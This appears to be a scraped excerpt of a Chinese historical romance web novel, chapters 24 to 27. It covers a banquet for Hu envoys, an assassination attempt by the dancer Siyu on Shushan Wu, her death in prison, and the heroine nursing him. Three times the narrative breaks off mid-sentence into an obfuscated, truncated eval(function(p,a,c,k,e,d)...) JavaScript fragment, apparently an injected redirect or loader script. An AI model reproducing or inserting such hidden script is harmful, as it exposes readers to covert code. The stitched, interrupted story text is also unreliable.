说罢击掌两下,三名鹘族少女登上观景台,在座众人均是眼前一亮。她们身着华丽的衣裙,裙摆上绣着如孔雀尾羽纹饰的彩绣,头上的锦帽还各插着一支孔雀羽毛,个个都是明眸皓齿、容颜昳丽的美人。 玉京城的胡姬酒肆里也会有舞女跳胡旋舞,每每总能吸引大批客人前来观赏。诸人心中有数,这三名舞姬经护劼特别甄选带至大祈,应当不仅仅只为献舞。恐怕筵席结束之后,自然而然就留下来了。 李德音下意识看了郑来仪一眼,态度严肃地对护劼道:“三王子未免太过客气,鹘国与我大祈世代交好,此等虚礼,实在不必!” 护劼笑道:“世子爷这么说,便是嫌弃她们几个不够貌美!其实我鹘族女儿一心仰慕如世子爷一般俊朗多情的中原男儿,听说我要来大祈,都争着要随我同来呢!” 他转过头对场中的三人道:“——你们几个今天好好表现!若世子爷看不上,在座的好男儿也还多的是,是否能择得良人,全凭你们自己本事!” 如此,李德音也不好再说什么。一时间胡笳声起,鼓乐声中,三名舞姬翩翩起舞。 愈发急促的鼓点中,舞姬的裙摆如花苞绽放,白皙的皮肤上沁出晶莹的细汗,笑容依旧热情无暇,身上散发出的甜腻花香与酒席上燃着的馥郁乳香混合在一起,熏人欲醉。 护劼搭着一只手捋着唇边的髭须,玩味地看向李德音。后者似乎已被胡姬的舞姿吸引,手指下意识地随着音乐轻敲鼓点。他偏了偏头,曲乐便换了节奏,逐渐舒缓下来。 领先的那名胡姬舞动着曼妙的身躯,缓缓靠近了主座,眉眼间的热情毫不掩饰。只见她舞至李德音身边,顺手提起银壶,为世子斟满酒杯,送到他唇边。 众目睽睽之下,世子爷终究不失风度地接下那杯酒,仰头一饮而尽。剩下的两名舞姬一时有些沮丧地样子。 其中一名舞姬很快便找到了新的目标——只见她径直走向叔山梧,伸过手去要为他斟酒,酒杯却被男人伸手盖住。 “抱歉,我不饮酒。” 那跪坐的胡姬背影一时落寞,郑来仪似乎听见她用鹘族的语言低低说了句什么。 叔山梧缓缓抬眼,看向了面前的舞姬。从郑来仪的角度,舞姬的背影正好挡住了叔山梧的脸,却见他搭在杯口的手些微发颤。 护劼促狭地冲那舞姬笑道:“好啦,他又不喝酒,这样的男人要他有什么意思?你坐我旁边来吧——你,坐对面去!”最后一句是冲着叔山梧说的。 叔山梧耸了耸肩,从善如流地从席上起身,朝郑来仪走了过来。 “打扰了。” 而后也不待她有任何回应,便在她左手边的位置落了座。 24. 目光射匕尖 郑来仪拾起右手边切肉的银刀,来回划着面前那盘分好的烤驼肉,直到焦酥的外皮都被划得一塌糊涂,而后拿起一旁盛着胡椒的小瓶,一下下撒在面目全非的驼肉上。 动作中有股说不清的狠劲。 她切下一块肉,面无表情地塞进口中,听见旁边的人低低笑了一声。 “难怪叫椒椒,这么能吃辣。” “我不——”郑来仪突然哑口。 “椒椒”这个乳名,从小是被亲近的人叫惯了的,然而大多数不明实情的人,第一次总会误把她的“椒”,当做是“娇惯”的“娇”,或是“骄儿”的“骄”。 到了最后,她已经习惯了一遍遍地更正。 前世叔山梧第一次得知她的乳名时,便问她:“是‘椒聊之实,蕃衍盈升’的那个‘椒’?” 那时的郑来仪脸红成三月的春桃,不仅因为他一下就猜对了字,也因为他话中若有似无的深意。 但她此刻只是悻悻地闭上了嘴。 从叔山梧的角度,能够清楚地看到郑来仪的侧脸,她此刻蹙着眉头,烦神的样子再明显不过。 他的视线越过郑来仪,看向世子的席位。方才向李德音献酒的那名胡姬已经坐在了他的身边,正笑着为主人布菜。世子爷这样的场合显然经历过不少,除了偶尔向郑来仪递来关切的一眼,其他时候尽是端方自如的主人翁姿态。 叔山梧淡淡移开眼。 舜王与郑国公,正是叔山寻为自己的目的谋求借力的完美权利组合。他的父亲为他不可说的目的,需要在二者之间寻找一个支点。 在叔山寻的计划中,所有人都是棋局中的一子,包括他的儿子——他让叔山柏去接近郑氏,可身份尊贵的世子爷和出身名门的郑四小姐,在任何人眼中都是无比般配的一对。 叔山梧的脸上浮起一丝自嘲的讽笑,再开口时语气如旁观者一般冷静客观。 “今日这样的场合,大家也只是扮演各自角色而已。贵人不必烦心,世子爷知道自己在做什么。” 郑来仪微怔,抬头见李德音正朝自己这里看过来,朝她举了举手中的杯盏。 她意识到叔山梧以为自己吃醋,话中似有为李德音开脱之意,转过头来冷冷看向他:“那么,二公子今日扮演的是什么角色?世子的心腹解语人?” 叔山梧察觉她咄咄逼人的气势,扬了扬眉:“不敢。” 他一脸无辜的姿态,“——在下不过一局外人,远不及贵人与世子亲厚。” 郑来仪冷笑一声:“二公子真是过谦了。您是舜王请来的座上客,怎好自称局外人。” 叔山梧看了她一瞬,泯然道:“甚么座上客,无非供人差遣罢了。” 郑来仪下意识便想要驳斥他——此间众人,谁不是供人差遣?二公子这话反倒显得野心不小。 正巧这时奉茶的仆人上来,在二人中间隔了一隔,一时刹住了她的锐气。 有节奏的鼓点渐渐停了,鹘族乐师吹起了筚篥,悠扬的曲调带着浓厚的异国风情,让人不由得陶醉其中。 叔山梧目光渐沉,右手随着曲乐在案上轻敲,小指蓦然碰到了什么冰凉的东西。 他垂眼,是一只莲花盏,碧色青翠欲滴,盏中茶汤微微摇曳。 郑来仪似乎也在曲乐中出神,左手只是下意识的动作,将仆人刚奉上的一盏解腻的凉茶推到了自己的手边。 世子爷知道贵人怕热,特别嘱咐下人从凌阴中直接取出来的凉茶,杯壁上浮着一层沁凉的水珠,被叔山梧的手指碰到,又顺着指纹流到了掌心。 “这……是给我的?” 郑来仪这才发现自己竟将凉茶推到了叔山梧的面前。 叔山梧不饮酒,前世二人难得一起用餐时,她都会亲手为丈夫准备一盏去火解疲的凉茶,用的是自己从母亲那里学来的方子。 淡竹叶、山芝麻、木蝴蝶和蒲公英,怜惜他吃了太多苦,又添上一味甘草、一味山楂。她会默默地推到叔山梧的手边,看他一口口喝掉,再兴奋地问他味道如何。 “很甜。”他每次都这样回答。 这习惯竟然根深蒂固,重生后也没能从她身体中离开。 “自然不是。” 郑来仪冷着脸将叔山梧面前的茶盏撤了回来,动作幅度太大,深红色的茶汤翻出来泼在她裙摆上,凉意隔着衣料沁到了皮肤。 她皱了皱眉,仰头将剩下的半盏凉茶一饮而尽。而后紧抿着唇,拎着裙摆从席上起身。 叔山梧的视线自远去的背影收回,落在旁边空落落的席案上,莫名有些恍惚。他摇了摇头,视线投向对面。护劼旁边的那名舞姬不知何时也离了席。 他眸色倏然一紧。 - 郑来仪脚步迅速地往内院走,头也不回地对紧跟在身后的紫袖道:“我去换身衣服,你就在这里等我,不必跟着。” 四夷馆内便有女眷换衣的客房。郑来仪脚步不停地踏过棕榈树投下的婆娑树影,走到客房的廊下,推开门要进去,却被吓了一跳。 方才坐在护劼身边的那个舞姬竟然也在这里,正换了一半衣服,看见郑来仪也十分意外,将大敞的衣襟胡乱遮住了胸口。 “小、小姐……婢子无礼,不知道这是贵人换装的地方……” “……没事。” 郑来仪踏进门,转身将门阖上,而后走到了房间的另一边。 席上的无名火已经烟消云散,可她此刻的心却跳得厉害。方才推门时,她分明看见那舞姬将一把寒光闪闪的刀藏进了怀中。 她心中闪过无数念头,第一反应是转身要走,却没这么做。外面是否有她的同伙暂且未知,若是在这舞姬面前表现出任何反常慌乱,或许自己在扭头的瞬间就会命丧当场。 于是她面色平静地进了屋,径直走向房间另一头的屏风背后,唯恐那舞姬看出自己其实已经浑身发抖。 那舞姬继续换着衣服,声音也不紧不慢地传了过来:“婢子失礼,惊扰了贵人,实在是方才跳完舞出了些汗,担心影响客人,所以出来换衣服,没料想进错了地方……” 郑来仪深吸一口气,缓缓道:“你我皆是客,没有什么分别,不必拘礼——你叫什么名字?” “……婢子叫丝雨。” “丝雨……好名字,你是哪里人?” “婢子的家乡,小姐应该没有听说过……是个叫蒲昌海的地方。” 郑来仪心中一动。 蒲昌海曾经是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叔山梧箍着郑来仪,闻言神色一怔。他垂眸看向面前的人,那眼神让他一时觉得熟悉。 却又无比陌生。 郑来仪知道自己此刻身处劣势,绝非这二人对手。但外面有世子的近卫,还有青州的守备军,纵然叔山梧本事再大,也不可能全身而退。 纵使身死,也要捅破此间的阴谋,让世人看看他叔山梧勾结外患,作乱中原的狼子野心。 想到叔山氏的真正面目暴露于人前,被处凌迟、诛九族,永无翻身之日,她便觉得血淋淋地痛快。血液一时全部涌向头顶,郑来仪一字一顿:“我知道她是奸细。” 叔山梧眸色顿深,朝着她逼近一步,不动声色地变换脚下方位,将郑来仪和丝雨隔开。 “姑娘似乎有误会,这胡姬怎么可能是奸细?的确是我有话要对你说,外人在此,不大方便。” 郑来仪看着他俊朗惑人的眉眼,饶是此时此地,依旧姿态镇静风度翩翩,可惜她已经不可能再那么轻易地为此而心折。 她抱起手臂,下颌微扬。 “你要说什么?我听着。” 25. 于乎刺客死 叔山梧一怔,尚未来得及回答,便听郑来仪低低冷笑出声,“我不会再把你看错了,叔山梧。” 她后背抵在门上,眼神全然无惧。 “你与奸细里应外合意图作乱,我不会让你得逞的。” 叔山梧眉头拧起,紧箍着郑来仪的手松了几分,却被她猛地欺近,反手揪住自己深色的袍服衣领,“来啊,你可以现在杀了我,让世人知道你们的真面目,要么,我就——” 话音戛然而止,郑来仪毫无预警地扭过头,要冲门外高声大喊,却被男人更快一步地捂住了嘴。 郑来仪发了狠,一口咬在叔山梧的虎口,顿时尝到一股腥甜。 叔山梧眸色益深,手上力道却没松,死死地抵住了郑来仪的嘴。他第一次如此近距离地看进她的眼睛,里面的敌意和狠戾明晃晃的,似乎积怨已久。 他被咬破的伤口汩汩冒着血,一大半流进郑来仪的口中进了咽喉,她被呛了一下,止不住地咳了起来。 门外传来紫袖担忧的声音:“小姐,您还在里面么?方才我看见似乎有男人进去了……” 丝雨的眼中杀机顿现,一只手探进袖口。 郑来仪被叔山梧牢牢控制着,只能发出含混不清的声音:“我……在这里!快、快来人!!” 丝雨咬牙向二人疾冲过来,手中举着一把明晃晃的匕首。郑来仪下意识地闭上了眼睛,却听叔山梧一声闷哼。她重又睁开眼,叔山梧深邃的五官近在咫尺,眉眼间痛楚一闪而过。 他放开了郑来仪,缓缓转过身去,背后的青色襕袍上有一个被扎穿的血洞。 丝雨后退两步,手中的匕首沾了血,她与叔山梧对视,抬手做了个奇怪的手势,口中喃喃似在念咒。 门外响起杂乱的脚步声,丝雨猛地睁眼,拔脚奔至后窗边,飞身翻了出去。从始至终未曾多看郑来仪一眼。 她的目标一开始就是叔山梧。 身后轰然一声,大门被猛地推开了,世子的近卫兵一拥而入,众人眼中所见:叔山梧歪倒在一脸惶惑的贵人怀中,紧紧闭着眼,贵人亦是面色惨白。 “天哪!!小姐?你没事吧?!!”紫袖挤开人群冲了上来。 贵人的衣襟已经被鲜血染出一大片鲜红,乍一眼望去触目惊心,细看才发现那不是贵人的血。鲜血如同开春化冻的河流,从叔山梧的身体里源源不断地涌出,将青砖地面都染成了黑色。 郑来仪木然举起右手,掌心殷红一片。她反应了一会,半晌才抬头看向同样呆愣着的士兵。 “刺客跑了。快追。” - 舜王世子宴请鹘国使臣的筵席上竟混入了奸细。这消息飞快传至玉京,直接惊动了圣人。刚刚在紫宸宫结束议事的舜王闻讯连夜上路。得知二郎遇刺,心焦不已的平野郡王含泪奏请一同前来,向来宽仁的怀光帝自然点头允准。 两位王爷抵达青州之前,世子已下令当场斩杀那几名鹘族舞姬,扣押了本应离去的鹘国使团。 护劼对此不敢有半分怨言,只是指天发誓那奸细与他绝无半分关系,是有心人陷害鹘国。 驿馆条件有限,重伤的叔山梧留在了世子别院,青州连同东都的名医都被一同请来,好不容易将匕首从他后心取了出来。 也算是叔山家二郎命大:伤口在左肩下,这一刀扎得极深几乎正对着心口,若是寻常人早就应该当场毙命,却不知为何并未刺中叔山梧的要害,经过一个时辰的急救,血好不容易止住了。 客房中的情势却并不乐观,医正忧心忡忡:“二公子常年习武,血既已止住,他怎么也不该到现在都醒不过来啊!眼下药也灌不下去,这样下去可就——” “可就什么?!医正大人,您救救我家公子!再想一想办法啊!!”决云蹲在榻前,心急如焚。 李德音坐在外间的圈椅上,猛地站起身来,满脸烦乱地朝外走,在廊下突然刹住了脚步。 郑来仪带着紫袖刚刚跨进院门,正朝这边过来。 自昨日叔山梧遇刺,作为当下青州的掌权者,李德音一时被诸多事务缠身,始终未能顾得上与郑来仪碰面。虽然他得知消息后,第一反应便是,她怎么会和叔山梧在一起? 他走下台阶,迎着郑来仪走过去,听见她低声问:“人还没醒么?” 李德音摇了摇头,见她面色晦暗,想到她经历昨日那一场,定然受了不少惊吓,一时按捺住心头的疑惑,只回答她:“伤在要害,血止住了,但意识一直没恢复。” 郑来仪颔首,轻轻出了一口气。 “你……休息得如何?”李德音的声音轻了几分。 “我没事。” “你要去看他么?” 郑来仪抬头,视线越过世子看向后方洞开的房门,偶有捧着铜盆和托盘的下人进出,人人俱是神色沉重。 “……不用了。” 她的视线收回,落在李德音的面上,“王爷他们何时到?” “父亲和平野王午后便能到。” “那……凶手有消息了么?” 李德音摇头。忍了又忍,还是问出了口:“……你当时,为何会和他在一起?” 郑来仪抬头,缓缓道:“因为我看见,叔山公子和那胡姬在一起。” - 舜王一行取道东都抵达青州,还带来了驻守东都的一万精兵。除了城中各个关卡,别院外被披坚执锐的士兵重重把守,院内气氛亦是较世子在时压抑了许多。李肃入府第一件事,便是将世子叫到了书房中。 门窗紧闭的房外,能够清楚听见舜王爷在屋内怒声教训儿子,更有杯盏碎裂在地的声音,而世子一声也未吭。期间送茶的下人走到门口,听见这动静吓得当场退出廊下。 “……听说舜王爷大发雷霆,下令封锁青州至东都全境,给临近的各道都发了协捕文书,势必要将那刺客缉拿归案。” 紫袖将听来的消息一五一十的说给主子。 郑来仪斜靠在引枕上,午后躺了一会儿,醒来却愈发觉得头疼,精神有些恹恹的。 紫袖打量小姐的神色,昨日出事时她就在门外,听见主子的求救声,当场三魂吓飞了两魂半,此刻想起还不免后怕。 “不说这些了!主子,要不要婢子端一盏酥山来,给您解解暑?” 郑来仪摇头,想到什么的样子:“平野郡王如何?” “这会还在前面,那个鹘国的三王子也被押到了前厅,守卫森严,一时还不知情况。” “主子,” 郑来仪掀眉看向紫袖。 “那日明明是你先进的屋子,那奸细那时已经在里面了。后来叔山梧才赶到的。对不对?” 紫袖的眉眼中有深深的困惑。李德音问话时她就在一旁,不能理解小姐那时为何要那么说。 “屋子里究竟发生了什么?叔山梧他那日为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“护劼,我与你父王兄弟之交,今日本王拜托你一件事。” “什、什么事,您说?” 叔山寻倾身过去,嘴唇轻动,在护劼耳边低声说了句什么,而后松开手来,看进他眼睛,眸色深不可测。 “如此,你可全身而退。” 空旷无人的大厅,一时阒然无声。 护劼愣怔着看向叔山寻,半晌道:“为、为什么要这么做?” 叔山寻微眯起眼,蓦地冷笑起来,并未直接回答他问题:“你只需诚心祈祷,那个叫丝雨的奸细被早日缉拿归案。贤侄。” 傍晚时戎赞回来复命,告诉郑来仪奸细被抓住了,就关在州府大牢。舜王已经第一时间派人拷问。 经审问,奸细是段良麒余党派来混入鹘国使团,有意接近叔山公子,欲杀之而后快。 “这话是谁说的?”郑来仪眉头紧皱。 “那叫丝雨的舞姬,她说‘叔山寻这狗贼,他的儿子不配活在这世上’……”戎赞复述着丝雨的话,连怨毒的语气也模仿得绘声绘色,听得旁边的紫袖汗毛倒竖。 “她说自己是段良麒的人?” 戎赞思索了一下:“在她的身上搜到了麒临军的信物。众目睽睽下证据确凿,那舞姬也没有否认,只是一个劲地咒骂叔山寻。” “还有,青州守备军中有叔山寻曾经的部将,他们说叔山寻在歼灭麒临叛军时,曾亲手杀了段良麒的小儿子。” 紫袖闻言便道:“这么说的话,他们向叔山氏寻仇,似乎也说得通。”她一脸后怕,“小姐居然卷到他们之间的仇杀中,下次还是离得远些……” 郑来仪起身:“给我更衣。” “这个时候,您要去哪儿啊?” “去看看这个丝雨。” 26. 所对唯苦药 抵达大牢时,夜色已将青州城笼罩。狱卒横刀向前一步,看清来人,连忙稽首行礼:“世子爷。” 李德音转身看向身后的郑来仪:“真的要进去么?监牢可不是什么好地方,你一个姑娘家——”话还未说完,郑来仪已经越过她踏入了黑洞洞的大门。 有世子爷作陪,狱卒将二人径直带到了关押重犯的监室。 那胡姬已经看不出原来模样,浑身血迹斑斑,两只手被吊在高处,垂着头,几乎不见一丝活气。 “丝雨?” 郑来仪走上前,轻声喊她的名字。被绑缚住的人没有任何反应。 “丝雨,听得见我么?” 她再进一步,声音放得更低了些,“你认识叔山梧,对不对?” 这名字似乎触动了丝雨的某一根神经,她垂着的头一动,而后缓缓地抬了起来。 女子浓艳的面容已经惨不忍睹,一只眼睛被厚重的淤血压得睁不开,依旧费力地看向郑来仪。她语气毫不客气:“你是……叔山寻那狗贼的什么人?” 李德音怒斥:“放肆!贵人岂容你这贱婢如此冒犯?!” 丝雨的视线摇摇欲坠地晃了过来,看清了世子爷的面孔,而后意识到面前站着的是谁,嘴角牵扯了一下。 “原来是……郑小姐啊……” 郑来仪发现她的瞳孔是绿色的,莫名让她想起母亲曾养过的一只狸猫。 她贴近丝雨的脸,浓烈的血腥气扑鼻而来,一眼不错地望着她,低声问:“为什么要杀叔山梧?你真的是段良麒的人?” 丝雨没有回答,只问:“叔山寻的儿子……他死了么?” “没有。” “贼种……果然命硬,无妨,背叛的人自有天收……脏污……的血脉,必须清理干净……” 丝雨眼中闪过遗憾与不甘,郑来仪突然有种惺惺相惜的感觉。而对方似乎也是察觉到同类的气息,定定地看着眼前的贵人,眸中突然射出精光。 “郑小姐……你可一定要擦亮眼睛啊……叔山寻最擅背叛……他的儿子……也定是天生的坏种……不要相信……他的花言巧语……只、可惜……” “……可惜什么?”郑来仪厉声。 丝雨的话没能说完,头重重地垂了下去。 李德音没听清丝雨的话,上前一步伸手捏住她的喉颈,将她的头抬了起来,皱眉问道:“你说什么?” 丝雨无法回答,她的眼睛已经阖上,鼻息全无。 李德音松开手,转头看向身旁的郑来仪。 牢房里只一盏昏黄的油灯,照在她的脸上,如同毫无生气的蜡像。郑来仪就这么站在死去的丝雨面前,半晌没有动作。 李德音觉得这样的她有些陌生,忍不住伸出手握住了她冰凉的手。 郑来仪转过头来,看着李德音:“世子,你相信她说的话么?” 李德音看一眼丝雨的尸体,眉头蹙紧:“段党余孽,所言怎可取信?她这么诋毁平野王,不正说明了叔山氏对朝廷的忠诚……” 郑来仪不再说话。李德音的想法,或许正是如今大多数人的看法。 可是她自己心里也有数不清的疑问,但此时此地已经无人可以解答。她抿着唇,转身迈出了监牢。 回到别院,天已黑透。 仆从见到世子回来,匆匆上前禀告:“王爷在前厅和郡王议事,让您现在过去。” 李德音面容整肃,快步朝里走,没两步回过头来:“来仪,你先去休息一下?” “世子快去吧。不用管我。” 别院中栽种着高大笔挺的阔叶植被,白日里阴凉蔽日,到了晚间便遮住了星光。郑来仪缓步走在回内院的长廊中,反复思索丝雨临死前说的话。 她究竟受谁的指示,会对叔山氏有如此强烈的仇恨,难道真的是段良麒的余党?她口中必须清理干净的脏污血脉……是指叔山梧?这一切看似合理,却又有太多说不通的地方。 郑来仪调转脚步,走向东院。 院落中依旧充斥着浓重的味道,廊下婢女捧着托盘,正疾步朝屋里走,盘中的药汤冒着热气,看见郑来仪,立时顿住脚步屈膝行礼。 “贵人。” “人还没有醒么?” “没有……叔山公子烧一直未退,很是凶险……” 郑来仪微微颔首,婢女不敢耽误,端着药盘率先进了屋,她缓缓跟在后面。 饶是四面窗户大开以便通风,屋里依旧气氛压抑。 床榻边的扶手椅上坐着一名鹤发长者,应当便是延请来的当地名医,正在给榻上人搭脉。一个束发少年蹲在榻边,目光焦急地望着医师。医师搭完脉收回了手,轻轻摇了摇头。 “怎么样?先生,方才我们王爷来时,主子他确实醒了一会儿的,明明血早已经止住了,怎么这会又没反应了呢?!” 医师捋着胡须,缓缓道:“令公子脉象虚浮,及乎寻按,几不可见——可见他的伤不在腠理,却在心脉之间。所谓‘左寸心亏,惊悸怔忡’,这样的内伤,反而难治啊……” 决云急出一头的汗:“什么意思?老先生,我、我听不懂啊!” “——是说你家二公子心中有亏。身病易治,心病难医。” 床榻前的二人齐齐回头,郑来仪站在门口,正抱着手臂冷冷地看向他们。 决云皱着眉从床榻边站起身来:“什么叫心中有亏?姑娘这话——” “确有几分道理。”那医师点了点头。 决云悻悻地闭了嘴,看向郑来仪的目光依旧不那么友善。 那老医师转过头,看着床榻上意识模糊的人:“老夫这些年,遇到过不少像令公子这样,战场上厮杀出来的将士。只能说,每一个从战场上活着回来的人都会带着伤,只不过有的伤在身体上,而有的在心里……” 决云抿紧嘴唇,一脸的忧心忡忡。 郑来仪心头一动,移步走到了榻边。 叔山梧裸着上身躺在榻上,肩头到胸口缠着绷带,因为失血过多,嘴唇没有半分血色。 许是有一阵时间未曾在战场上行走,他的皮肤褪去了粗犷的古铜,露出本来的颜色,如同易碎的白瓷,这副脆弱的模样让郑来仪一时没能认得出来。 她的视线落在他右手虎口,那里也缠裹着绷带,是被她咬伤的。 决云瞥了郑来仪一眼,沉默地端起一旁婢女送来的药汤,舀起一勺,送到叔山梧的嘴边。他没有半点吞咽的动静,深色的茶汤顺着他紧抿的唇缝流到了枕头上。 决云撂下药碗,狠狠擦了下眼睛。已经是第三碗了,每次都是这样,滴水难进。 郑来仪垂目看向榻上的人,用事不干己的语气出主意:“这么躺着,是喝不进去的。你起码把他扶起来。” 决云闻言连忙坐到床头,伸手去扶人。 叔山梧比起决云整整高出一个头,要抱起来也并非易事。决云顾忌着他背后的伤口,不敢用大力拉扯,只能自己坐在床头,扶住他半边的身体,好不容易将意识模糊的人勉强固定住,自己已经出了一头的汗。 只是这样的姿势,势必需要第二个人来喂药。 决云对郑来仪未抱任何希望,视线径直略过她,而郑来仪也一脸袖手旁观的冷然。决云对着身边端着药的丫鬟道:“劳驾。” 丫鬟连忙上前,看叔山梧嘴角还有药渍,先寻了帕子要去擦拭,刚举到嘴边,却被他扭头让开了。动作突然,险些把那一碗药汤都弄洒了。 决云气急:“主子!您听得见决云么?您要喝药啊……不然会死的啊……” 叔山梧眉头蹙紧,面部有细微的抽搐,似是极为痛苦。郑来仪清楚,这药八成是喂不下去的。 叔山梧此人戒心极重,哪怕是意识模糊,也对外来的一切有强烈的防备心。曾经自己也像决云一样,在受了重伤昏迷不醒的叔山梧面前急得手足无措。 决云只能转头看向旁边的医师:“先生,您想想办法吧!这样一直下去可怎么办啊?” 老医师尚未说话,决云怀中的叔山梧突然开口发声。 “……郑来仪……” 众人一愣,正疑惑间,紧紧闭目的人再度哑声唤了一句:“椒椒……” 决云皱眉:“主、主子?您说什么?您醒一醒……我是决云啊……我在这里……” 叔山梧眉头拧成深重的川字,声音愈发清晰地重复着,除了那两个字,再没发出其他的声音。 决云抬头看向抱臂远观的郑来仪,迟疑道:“主子他……似乎、是在喊您……” “你听错了。” 郑来仪移开视线,迅速退后一步,而后猛地转身,“太晚了,我该走了——” “别走……” 这一声更清晰了些, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑来仪毫没意外,转头看向决云,一脸“爱莫能助”的眼神,便要将药碗放下。 夏日晚间的风从敞开的窗户吹进屋里,拂动她鬓边一缕发丝,有淡淡的幽香随着动作落在她对面僵直如木的人身上。 决云没接药碗,却惊喜地叫出声来。 “主子醒了!” 郑来仪一怔,转过头。叔山梧不知何时睁开了眼,正定定地望着她。 “郑小姐,快、快喂啊!”决云顾不得,连声催促。 郑来仪被迫抬起药碗,将一匙药送了上去。 叔山梧的视线中似乎有些失焦,却始终未曾从她的脸上移开,只略一低头,一口药汤进了口,喉结上下一滚,咽了下去。 “喝、喝了!” 决云激动出声,随即捂住了自己的嘴巴,唯恐打破这来之不易的局面,再看向郑来仪时的眼神已经少了敌意,如同仰望神龛上的仙子。 “太好了,老天有眼,贵人,快趁热将这一碗都给叔山公子服下。”老医师在叔山梧身边守了半日,此刻看见曙光,终于松了口气。 郑来仪骑虎难下,她不想与叔山梧对视,眼下的距离让她颇觉煎熬,索性加快节奏,一匙匙地将药灌进去,只是视线始终沉在眼前的药汤中,动作颇为机械。 只是一碗汤药的时间,却似乎过去很久。 直到药见了底,郑来仪松一口气,将汤匙“当啷”一声扔进碗里,从榻边起身。 这期间叔山梧始终一眼不错地看着郑来仪,他额头有汗沁出,眼神已经清明不少。 “主子,您……是醒了吧?觉得怎么样?” 决云扑到床榻边,拿起帕子去擦他额上的汗,惊喜道,“——先生的药太灵了!刚刚服下便立竿见影起效了!” 医师凑上前去搭脉,半晌面露欣慰,“再好的药也不会这么快见效,是二公子的关窍打通了……这一关总算过去了。只是眼□□质尚虚,还需好好静养!” 他看了郑来仪一眼,欲言又止。 郑来仪冷冷道:“恭喜了。那我便先告辞了。” “郑来仪。” 床榻上刚醒的人蓦然开口。 郑来仪身形定住,没应声。叔山梧低哑的声音从身后遥遥传来。 “——你说‘不会再把我看错了’,那是什么意思?” 27. 刀下捉生郎 边镇驻军中流传着这样一句话:大军统帅万里挑一,刀下捉生郎千古难觅。 大祈诞生于北境胡族野心勃勃的窥伺之下,最为鼎盛时万国来贺,十六族尽皆臣服。但太平并未持续多久,自昭宁年间起,北有沮渠、奚族,西有漪兰、图罗,南有爨氏为首的夷族部落,为了争抢地盘和资源,大多都与中原王朝起过冲突。 边军中由此诞生出一个新的兵种:他们身手矫捷,触觉敏锐,一身胡服异于戎装。能说一口流利的异族语言,长年混迹于贫瘠又凶险的交战地。如一尾灵活的鱼,渗入敌人之中。 他们能深入敌方腹地,带回价值千金的情报,或是在大战前夜潜入帅帐之中,无声划破敌军将领的喉咙。 复杂的战场形势下,他们能将相处甚为投机,不是兄弟胜似兄弟的胡人兵士拉拢到我方阵营,套取到核心的情报后,反手割开“兄弟”的咽喉,将无法瞑目的尸体扔回战线的另一边。 是谓“捉生放死”。 他们被尊称为“将”,事实上干得却是连战场冲杀的兵士都会暗自认为“造孽”太重的脏活。 能成为捉生将的,不少是失去家园,在交战地被俘的异族人,被统帅看中身手,以重金或美色为酬,利诱出卖灵魂,回到故土作着背叛母族的事。 这样的人,能为自己所用,必然也会有被他人所用的可能。 所以一名能力突出,且确认忠诚的捉生将才难能可贵。愿意去做捉生将的叔山梧,显然是边军中的异类。 以他的出身和能力,从校尉到中郎将步步擢升,在外人看来他日成为一军元帅也是顺利成章。但他却在某日走到师父颜青沅的面前,说想做个捉生将。颜青沅想起老友叔山寻,没有当场答应,只让他好好想想。 叔山梧十二岁入军中,弓马骑射均是出类拔萃,身上却无半分出身将门的张扬气质。他有个特别的天赋:顺耳听几句胡人商贩说话,不用怎么教便能学出七八分像。 颜青沅很早就发现:叔山二郎行事低调,永远独来独往,沙场上更是不囿于阵型,向来出其不意,事死如事生。如同一只独狼,同袍都觉难以亲近。 他的上官为属下孤僻难驯的性子,数次告状到主将颜青沅的面前,无奈却偏偏是他每每险中得胜,计功最多。 这孤僻狠厉的性子,实在是个作捉生将的好苗子。有这样的材料,便是不战而屈人之兵的杀手锏。最终颜青沅还是答应了自己的弟子。 就是这样的叔山梧,今日却几度违背自己惯常的行事风格。 从丝雨走到面前,用乞怜般的眼神望着他时,叔山梧便嗅出了危险:此人绝不仅仅是个柔弱的舞姬而已——她一言一行皆是精心设计,气息动作更显露出不浅的功夫底子。且身上似乎还带着兵刃。 于是他留上了心。 曲乐悠扬的宴席上,舞姬用鹘语不紧不慢地介绍自己:“婢子丝雨,我的家乡是沙漠中的绿洲,那里时常下起濛濛的小雨,细密如丝,这便是我的名字。” 叔山梧移开盖住酒杯边缘的手,沉声:“你的家乡是哪里?” “漪兰。” 他的视线落在丝雨那双异色的瞳孔。垂在身旁的手微微下移,靴筒中的匕首似乎在散发灼人的热意。他暂时无法确认眼前这位胡姬背后有谁,是护劼,或是其他和漪兰有关系的人? 觥筹交错的宴席上,叔山梧的神经始终紧绷如满弓的弦。然而坐到郑来仪身边后,他的注意力被引走,那盏凉茶让他一时分了心,只是那么一霎,那胡姬便脱离了视线。 他在无人注意时跟着离席,看见郑来仪神色慌张地从那间屋子里冲出来时,也不知自己是怎么的,第一反应是将人拉回房中,让她和自己成了一根绳上的蚂蚱。 从来游刃有余的叔山梧,尚未来得及理清,却被郑来仪反制。 叔山梧因为郑来仪脸上那一丝来历不明的憎恶而晃神了,以至于对背后的杀气毫无所觉。刀刺中的一瞬间,身体的知觉是麻木的,意识始终在她那句冰冷的质问中迷离,直到彻底陷入混沌。 他有些困惑,因为郑来仪那句看似没来由的质问,也因为她面对自己时,甚至有种同归于尽的发狠。 叔山梧陷入了一个光怪陆离的世界,像本来站在岸上,却被人猛地推到了河里。河水瞬间没过他的肢体,他径直下沉,却听见有人在水面上方反复问他。 「你以为还能再骗我一回么?」 他剧烈地挣扎起来,好在没怎么费力便浮出了水面,眼前的风景却瞬间变了。 